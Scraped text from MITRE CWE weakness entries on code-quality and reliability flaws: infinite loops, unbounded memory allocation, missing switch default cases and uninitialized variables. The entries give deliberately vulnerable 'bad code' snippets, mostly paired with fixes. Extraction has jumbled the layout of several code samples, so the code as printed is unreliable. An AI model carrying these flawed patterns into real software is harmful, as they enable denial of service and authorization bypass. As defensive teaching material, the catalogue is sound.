For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterA function, method, procedure, etc. contains an excessive amount of code that has been
commented out within its body.
This issue makes it more difficult to maintain the product, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities. While the interpretation of "excessive volume" may vary for each product or developer, CISQ recommends a default threshold of 2% of commented code. This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "Software Development" (CWE-699)
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
CWE-1048: Invokable Control Element with Large Number of Outward Calls
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThe code contains callable control elements that
contain an excessively large number of references to other
application objects external to the context of the callable,
i.e. a Fan-Out value that is excessively large.
While the interpretation of "excessively large Fan-Out value" may vary for each product or developer, CISQ recommends a default of 5 referenced objects. This issue makes it more difficult to maintain the product, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities. This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "Software Development" (CWE-699)
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
CWE-1064: Invokable Control Element with Signature Containing an Excessive Number of Parameters
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThe product contains a function, subroutine, or method whose signature has an unnecessarily large number of
parameters/arguments.
This issue makes it more difficult to understand and/or maintain the product, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities. While the interpretation of "large number of parameters." may vary for each product or developer, CISQ recommends a default maximum of 7 parameters/arguments. This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "Software Development" (CWE-699)
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
CWE-1089: Large Data Table with Excessive Number of Indices
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThe product uses a large data table that contains an excessively large number of
indices.
This issue can make the product perform more slowly. If the relevant code is reachable by an attacker, then this performance problem might introduce a vulnerability. While the interpretation of "large data table" and "excessively large number of indices" may vary for each product or developer, CISQ recommends a default threshold of 1000000 rows for a "large" table and a default threshold of 3 indices. This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "Software Development" (CWE-699)
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
CWE-1095: Loop Condition Value Update within the Loop
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThe product uses a loop with a control flow condition based on
a value that is updated within the body of the loop.
This issue makes it more difficult to understand and/or maintain the product, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities. This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "Software Development" (CWE-699)
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
CWE-835: Loop with Unreachable Exit Condition ('Infinite Loop')
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThis table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "Software Development" (CWE-699)
Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
This listing shows possible areas for which the given
weakness could appear. These
may be for specific named Languages, Operating Systems, Architectures, Paradigms,
Technologies,
or a class of such platforms. The platform is listed along with how frequently the given
weakness appears for that instance.
Languages Class: Not Language-Specific (Undetermined Prevalence) Example 1 In the following code the method processMessagesFromServer attempts to establish a connection to a server and read and process messages from the server. The method uses a do/while loop to continue trying to establish the connection to the server when an attempt fails. (bad code)
Example Language: C
int processMessagesFromServer(char *hostaddr, int port) {
...
int servsock; int connected; struct sockaddr_in servaddr; // create socket to connect to server servsock = socket( AF_INET, SOCK_STREAM, 0); memset( &servaddr, 0, sizeof(servaddr)); servaddr.sin_family = AF_INET; servaddr.sin_port = htons(port); servaddr.sin_addr.s_addr = inet_addr(hostaddr); do { // establish connection to server connected = connect(servsock, (struct sockaddr *)&servaddr, sizeof(servaddr)); // if connected then read and process messages from server if (connected > -1) { // read and process messages ... // keep trying to establish connection to the server } while (connected < 0); // close socket and return success or failure ... However, this will create an infinite loop if the server does not respond. This infinite loop will consume system resources and can be used to create a denial of service attack. To resolve this a counter should be used to limit the number of attempts to establish a connection to the server, as in the following code. (good code)
Example Language: C
int processMessagesFromServer(char *hostaddr, int port) {
...
// initialize number of attempts counter int count = 0; do { // establish connection to server connected = connect(servsock, (struct sockaddr *)&servaddr, sizeof(servaddr)); // increment counter count++; // if connected then read and process messages from server if (connected > -1) { // read and process messages ... // keep trying to establish connection to the server // up to a maximum number of attempts } while (connected < 0 && count < MAX_ATTEMPTS); // close socket and return success or failure ... Example 2 For this example, the method isReorderNeeded is part of a bookstore application that determines if a particular book needs to be reordered based on the current inventory count and the rate at which the book is being sold. (bad code)
Example Language: Java
public boolean isReorderNeeded(String bookISBN, int rateSold) {
boolean isReorder = false; int minimumCount = 10; int days = 0; // get inventory count for book int inventoryCount = inventory.getIventoryCount(bookISBN); // find number of days until inventory count reaches minimum while (inventoryCount > minimumCount) { inventoryCount = inventoryCount - rateSold; days++; // if number of days within reorder timeframe // set reorder return boolean to true if (days > 0 && days < 5) { isReorder = true; }return isReorder; However, the while loop will become an infinite loop if the rateSold input parameter has a value of zero since the inventoryCount will never fall below the minimumCount. In this case the input parameter should be validated to ensure that a value of zero does not cause an infinite loop, as in the following code. (good code)
Example Language: Java
public boolean isReorderNeeded(String bookISBN, int rateSold) {
...
// validate rateSold variable if (rateSold < 1) { return isReorder; }...
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
CWE-789: Memory Allocation with Excessive Size Value
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThe product allocates memory based on an untrusted, large size value, but it does not ensure that the size is within expected limits, allowing arbitrary amounts of memory to be allocated.
This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
The different Modes of Introduction provide information
about how and when this
weakness may be introduced. The Phase identifies a point in the life cycle at which
introduction
may occur, while the Note provides a typical scenario related to introduction during the
given
phase.
This listing shows possible areas for which the given
weakness could appear. These
may be for specific named Languages, Operating Systems, Architectures, Paradigms,
Technologies,
or a class of such platforms. The platform is listed along with how frequently the given
weakness appears for that instance.
Languages C (Undetermined Prevalence) C++ (Undetermined Prevalence) Class: Not Language-Specific (Undetermined Prevalence) Example 1 Consider the following code, which accepts an untrusted size value and allocates a buffer to contain a string of the given size. (bad code)
Example Language: C
unsigned int size = GetUntrustedInt();
/* ignore integer overflow (CWE-190) for this example */ unsigned int totBytes = size * sizeof(char); char *string = (char *)malloc(totBytes); InitializeString(string); Suppose an attacker provides a size value of:
12345678
This will cause 305,419,896 bytes (over 291 megabytes) to be allocated for the string. Example 2 Consider the following code, which accepts an untrusted size value and uses the size as an initial capacity for a HashMap. (bad code)
Example Language: Java
unsigned int size = GetUntrustedInt();
HashMap list = new HashMap(size); The HashMap constructor will verify that the initial capacity is not negative, however there is no check in place to verify that sufficient memory is present. If the attacker provides a large enough value, the application will run into an OutOfMemoryError. Example 3 This code performs a stack allocation based on a length calculation. (bad code)
Example Language: C
int a = 5, b = 6;
}
size_t len = a - b; char buf[len]; // Just blows up the stack Since a and b are declared as signed ints, the "a - b" subtraction gives a negative result (-1). However, since len is declared to be unsigned, len is cast to an extremely large positive number (on 32-bit systems - 4294967295). As a result, the buffer buf[len] declaration uses an extremely large size to allocate on the stack, very likely more than the entire computer's memory space. Miscalculations usually will not be so obvious. The calculation will either be complicated or the result of an attacker's input to attain the negative value. Example 4 This example shows a typical attempt to parse a string with an error resulting from a difference in assumptions between the caller to a function and the function's action. (bad code)
Example Language: C
int proc_msg(char *s, int msg_len)
{
// Note space at the end of the string - assume all strings have preamble with space
}int pre_len = sizeof("preamble: "); char buf[pre_len - msg_len]; ... Do processing here if we get this far char *s = "preamble: message\n"; char *sl = strchr(s, ':'); // Number of characters up to ':' (not including space) int jnklen = sl == NULL ? 0 : sl - s; // If undefined pointer, use zero length int ret_val = proc_msg ("s", jnklen); // Violate assumption of preamble length, end up with negative value, blow out stack The buffer length ends up being -1, resulting in a blown out stack. The space character after the colon is included in the function calculation, but not in the caller's calculation. This, unfortunately, is not usually so obvious but exists in an obtuse series of calculations. Example 5 The following code obtains an untrusted number that is used as an index into an array of messages. (bad code)
Example Language: Perl
my $num = GetUntrustedNumber();
my @messages = (); $messages[$num] = "Hello World"; The index is not validated at all (CWE-129), so it might be possible for an attacker to modify an element in @messages that was not intended. If an index is used that is larger than the current size of the array, the Perl interpreter automatically expands the array so that the large index works. If $num is a large value such as 2147483648 (1<<31), then the assignment to $messages[$num] would attempt to create a very large array, then eventually produce an error message such as: Out of memory during array extend This memory exhaustion will cause the Perl program to exit, possibly a denial of service. In addition, the lack of memory could also prevent many other programs from successfully running on the system. Example 6 This example shows a typical attempt to parse a string with an error resulting from a difference in assumptions between the caller to a function and the function's action. The buffer length ends up being -1 resulting in a blown out stack. The space character after the colon is included in the function calculation, but not in the caller's calculation. This, unfortunately, is not usually so obvious but exists in an obtuse series of calculations. (bad code)
Example Language: C
int proc_msg(char *s, int msg_len)
{ int pre_len = sizeof("preamble: "); // Note space at the end of the string - assume all strings have preamble with space
char buf[pre_len - msg_len];
... Do processing here and set status
return status;
}
char *s = "preamble: message\n"; char *sl = strchr(s, ':'); // Number of characters up to ':' (not including space) int jnklen = sl == NULL ? 0 : sl - s; // If undefined pointer, use zero length int ret_val = proc_msg ("s", jnklen); // Violate assumption of preamble length, end up with negative value, blow out stack (good code)
Example Language: C
int proc_msg(char *s, int msg_len)
{ int pre_len = sizeof("preamble: "); // Note space at the end of the string - assume all strings have preamble with space
if (pre_len <= msg_len) { // Log error; return error_code; }
char buf[pre_len - msg_len];
... Do processing here and set status
return status;
}
char *s = "preamble: message\n"; char *sl = strchr(s, ':'); // Number of characters up to ':' (not including space) int jnklen = sl == NULL ? 0 : sl - s; // If undefined pointer, use zero length int ret_val = proc_msg ("s", jnklen); // Violate assumption of preamble length, end up with negative value, blow out stack
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
Relationship
This weakness can be closely associated with integer overflows (CWE-190). Integer overflow attacks would concentrate on providing an extremely large number that triggers an overflow that causes less memory to be allocated than expected. By providing a large value that does not trigger an integer overflow, the attacker could still cause excessive amounts of memory to be allocated.
Applicable Platform Uncontrolled memory allocation is possible in many languages, such as dynamic array allocation in perl or initial size parameters in Collections in Java. However, languages like C and C++ where programmers have the power to more directly control memory management will be more susceptible.
CWE-1090: Method Containing Access of a Member Element from Another Class
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterA method for a class performs an operation that directly
accesses a member element from another class.
This issue suggests poor encapsulation and makes it more difficult to understand and maintain the product, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities. This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "Software Development" (CWE-699)
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
CWE-478: Missing Default Case in Multiple Condition Expression
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThe code does not have a default case in an expression with multiple conditions, such as a switch statement.
If a multiple-condition expression (such as a switch in C) omits the default case but does not consider or handle all possible values that could occur, then this might lead to complex logical errors and resultant weaknesses. Because of this, further decisions are made based on poor information, and cascading failure results. This cascading failure may result in any number of security issues, and constitutes a significant failure in the system.
This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "Software Development" (CWE-699)
The different Modes of Introduction provide information
about how and when this
weakness may be introduced. The Phase identifies a point in the life cycle at which
introduction
may occur, while the Note provides a typical scenario related to introduction during the
given
phase.
This listing shows possible areas for which the given
weakness could appear. These
may be for specific named Languages, Operating Systems, Architectures, Paradigms,
Technologies,
or a class of such platforms. The platform is listed along with how frequently the given
weakness appears for that instance.
Languages C (Undetermined Prevalence) C++ (Undetermined Prevalence) Java (Undetermined Prevalence) C# (Undetermined Prevalence) Python (Undetermined Prevalence) JavaScript (Undetermined Prevalence) Example 1 The following does not properly check the return code in the case where the security_check function returns a -1 value when an error occurs. If an attacker can supply data that will invoke an error, the attacker can bypass the security check: (bad code)
Example Language: C
#define FAILED 0
#define PASSED 1 int result; ... result = security_check(data); switch (result) { case FAILED:
printf("Security check failed!\n");
exit(-1); //Break never reached because of exit() break; case PASSED: printf("Security check passed.\n");
break; // program execution continues... ... Instead a default label should be used for unaccounted conditions: (good code)
Example Language: C
#define FAILED 0
#define PASSED 1 int result; ... result = security_check(data); switch (result) { case FAILED:
printf("Security check failed!\n");
exit(-1); //Break never reached because of exit() break; case PASSED: printf("Security check passed.\n");
break; default: printf("Unknown error (%d), exiting...\n",result);
exit(-1); This label is used because the assumption cannot be made that all possible cases are accounted for. A good practice is to reserve the default case for error handling. Example 2 In the following Java example the method getInterestRate retrieves the interest rate for the number of points for a mortgage. The number of points is provided within the input parameter and a switch statement will set the interest rate value to be returned based on the number of points. (bad code)
Example Language: Java
public static final String INTEREST_RATE_AT_ZERO_POINTS = "5.00";
public static final String INTEREST_RATE_AT_ONE_POINTS = "4.75"; public static final String INTEREST_RATE_AT_TWO_POINTS = "4.50"; ... public BigDecimal getInterestRate(int points) { BigDecimal result = new BigDecimal(INTEREST_RATE_AT_ZERO_POINTS);
switch (points) { case 0:
result = new BigDecimal(INTEREST_RATE_AT_ZERO_POINTS);
break; case 1: result = new BigDecimal(INTEREST_RATE_AT_ONE_POINTS);
break; case 2: result = new BigDecimal(INTEREST_RATE_AT_TWO_POINTS);
break; return result; However, this code assumes that the value of the points input parameter will always be 0, 1 or 2 and does not check for other incorrect values passed to the method. This can be easily accomplished by providing a default label in the switch statement that outputs an error message indicating an invalid value for the points input parameter and returning a null value. (good code)
Example Language: Java
public static final String INTEREST_RATE_AT_ZERO_POINTS = "5.00";
public static final String INTEREST_RATE_AT_ONE_POINTS = "4.75"; public static final String INTEREST_RATE_AT_TWO_POINTS = "4.50"; ... public BigDecimal getInterestRate(int points) { BigDecimal result = new BigDecimal(INTEREST_RATE_AT_ZERO_POINTS);
switch (points) { case 0:
result = new BigDecimal(INTEREST_RATE_AT_ZERO_POINTS);
break; case 1: result = new BigDecimal(INTEREST_RATE_AT_ONE_POINTS);
break; case 2: result = new BigDecimal(INTEREST_RATE_AT_TWO_POINTS);
break; default: System.err.println("Invalid value for points, must be 0, 1 or 2");
System.err.println("Returning null value for interest rate"); result = null; return result; Example 3 In the following Python example the match-case statements (available in Python version 3.10 and later) perform actions based on the result of the process_data() function. The expected return is either 0 or 1. However, if an unexpected result (e.g., -1 or 2) is obtained then no actions will be taken potentially leading to an unexpected program state. (bad code)
Example Language: Python
result = process_data(data)
match result: case 0:
print("Properly handle zero case.")
case 1: print("Properly handle one case.")
# program execution continues... The recommended approach is to add a default case that captures any unexpected result conditions, regardless of how improbable these unexpected conditions might be, and properly handles them. (good code)
Example Language: Python
result = process_data(data)
match result: case 0:
print("Properly handle zero case.")
case 1: print("Properly handle one case.")
case _: print("Properly handle unexpected condition.")
# program execution continues... Example 4 In the following JavaScript example the switch-case statements (available in JavaScript version 1.2 and later) are used to process a given step based on the result of a calcuation involving two inputs. The expected return is either 1, 2, or 3. However, if an unexpected result (e.g., 4) is obtained then no action will be taken potentially leading to an unexpected program state. (bad code)
Example Language: JavaScript
let step = input1 + input2;
switch(step) { case 1:
alert("Process step 1.");
break; case 2: alert("Process step 2.");
break; case 3: alert("Process step 3.");
break; } // program execution continues... The recommended approach is to add a default case that captures any unexpected result conditions and properly handles them. (good code)
Example Language: JavaScript
let step = input1 + input2;
switch(step) { case 1:
alert("Process step 1.");
break; case 2: alert("Process step 2.");
break; case 3: alert("Process step 3.");
break; default: alert("Unexpected step encountered.");
} // program execution continues... Example 5 The Finite State Machine (FSM) shown in the "bad" code snippet below assigns the output ("out") based on the value of state, which is determined based on the user provided input ("user_input"). (bad code)
Example Language: Verilog
module fsm_1(out, user_input, clk, rst_n);
input [2:0] user_input; input clk, rst_n; output reg [2:0] out; reg [1:0] state; always @ (posedge clk or negedge rst_n ) begin
endmodule
if (!rst_n)
end
state = 3'h0;
elsecase (user_input)
3'h0:
endcase
3'h1: 3'h2: 3'h3: state = 2'h3; 3'h4: state = 2'h2; 3'h5: state = 2'h1; out <= {1'h1, state};
The case statement does not include a default to handle the scenario when the user provides inputs of 3'h6 and 3'h7. Those inputs push the system to an undefined state and might cause a crash (denial of service) or any other unanticipated outcome. Adding a default statement to handle undefined inputs mitigates this issue. This is shown in the "Good" code snippet below. The default statement is in bold. (good code)
Example Language: Verilog
case (user_input)
3'h0:
endcase3'h1: 3'h2: 3'h3: state = 2'h3; 3'h4: state = 2'h2; 3'h5: state = 2'h1; default: state = 2'h0;
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
CWE-456: Missing Initialization of a Variable
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThe product does not initialize critical variables, which causes the execution environment to use unexpected values.
This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)
Relevant to the view "CISQ Data Protection Measures" (CWE-1340)
The different Modes of Introduction provide information
about how and when this
weakness may be introduced. The Phase identifies a point in the life cycle at which
introduction
may occur, while the Note provides a typical scenario related to introduction during the
given
phase.
This listing shows possible areas for which the given
weakness could appear. These
may be for specific named Languages, Operating Systems, Architectures, Paradigms,
Technologies,
or a class of such platforms. The platform is listed along with how frequently the given
weakness appears for that instance.
Languages Class: Not Language-Specific (Undetermined Prevalence) Example 1 This function attempts to extract a pair of numbers from a user-supplied string. (bad code)
Example Language: C
void parse_data(char *untrusted_input){
int m, n, error;
error = sscanf(untrusted_input, "%d:%d", &m, &n); if ( EOF == error ){ die("Did not specify integer value. Die evil hacker!\n"); }/* proceed assuming n and m are initialized correctly */ This code attempts to extract two integer values out of a formatted, user-supplied input. However, if an attacker were to provide an input of the form: (attack code)
123:
then only the m variable will be initialized. Subsequent use of n may result in the use of an uninitialized variable (CWE-457). Example 2 Here, an uninitialized field in a Java class is used in a seldom-called method, which would cause a NullPointerException to be thrown. (bad code)
Example Language: Java
private User user;
public void someMethod() { // Do something interesting. ... // Throws NPE if user hasn't been properly initialized. String username = user.getName(); Example 3 This code first authenticates a user, then allows a delete command if the user is an administrator. (bad code)
Example Language: PHP
if (authenticate($username,$password) && setAdmin($username)){
$isAdmin = true; }/.../ if ($isAdmin){ deleteUser($userToDelete); }The $isAdmin variable is set to true if the user is an admin, but is uninitialized otherwise. If PHP's register_globals feature is enabled, an attacker can set uninitialized variables like $isAdmin to arbitrary values, in this case gaining administrator privileges by setting $isAdmin to true. Example 4 In the following Java code the BankManager class uses the user variable of the class User to allow authorized users to perform bank manager tasks. The user variable is initialized within the method setUser that retrieves the User from the User database. The user is then authenticated as unauthorized user through the method authenticateUser. (bad code)
Example Language: Java
public class BankManager {
// user allowed to perform bank manager tasks private User user = null; private boolean isUserAuthentic = false; // constructor for BankManager class public BankManager() { ... }// retrieve user from database of users public User getUserFromUserDatabase(String username){ ... }// set user variable using username public void setUser(String username) { this.user = getUserFromUserDatabase(username); }// authenticate user public boolean authenticateUser(String username, String password) { if (username.equals(user.getUsername()) && password.equals(user.getPassword())) { }isUserAuthentic = true; }return isUserAuthentic; // methods for performing bank manager tasks ... However, if the method setUser is not called before authenticateUser then the user variable will not have been initialized and will result in a NullPointerException. The code should verify that the user variable has been initialized before it is used, as in the following code. (good code)
Example Language: Java
public class BankManager {
